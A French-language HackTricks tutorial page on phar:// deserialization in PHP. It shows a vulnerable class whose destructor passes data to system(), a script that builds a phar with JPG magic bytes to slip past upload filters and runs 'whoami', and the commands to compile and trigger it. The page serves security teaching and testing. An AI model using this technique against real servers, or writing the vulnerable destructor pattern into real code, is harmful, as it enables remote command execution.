phar:// désérialisation
Reading time: 3 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs au HackTricks et HackTricks Cloud dépôts github.
Les fichiers Phar (PHP Archive) contiennent des métadonnées au format sérialisé, donc, lorsqu'ils sont analysés, ces métadonnées sont désérialisées et vous pouvez essayer d'exploiter une vulnérabilité de désérialisation dans le code PHP.
La meilleure chose à propos de cette caractéristique est que cette désérialisation se produira même en utilisant des fonctions PHP qui n'évaluent pas le code PHP comme file_get_contents(), fopen(), file() ou file_exists(), md5_file(), filemtime() ou filesize().
Donc, imaginez une situation où vous pouvez faire en sorte qu'un web PHP obtienne la taille d'un fichier arbitraire en utilisant le protocole phar://
, et à l'intérieur du code, vous trouvez une classe similaire à la suivante :
<?php
class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}
function __destruct() {
system($this->data);
}
}
filesize("phar://test.phar"); #The attacker can control this path
Vous pouvez créer un fichier phar qui, lorsqu'il est chargé, exploite cette classe pour exécuter des commandes arbitraires avec quelque chose comme :
<?php
class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}
function __destruct() {
system($this->data);
}
}
// create new Phar
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>");
// add object of any class as meta data
$object = new AnyClass('whoami');
$phar->setMetadata($object);
$phar->stopBuffering();
Notez comment les octets magiques de JPG (\xff\xd8\xff
) sont ajoutés au début du fichier phar pour contourner les éventuelles restrictions de téléchargement de fichiers.
Compilez le fichier test.phar
avec :
php --define phar.readonly=0 create_phar.php
Et exécutez la commande whoami
en abusant du code vulnérable avec :
php vuln.php
Références
https://blog.ripstech.com/2018/new-php-exploitation-technique/
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs au HackTricks et HackTricks Cloud dépôts github.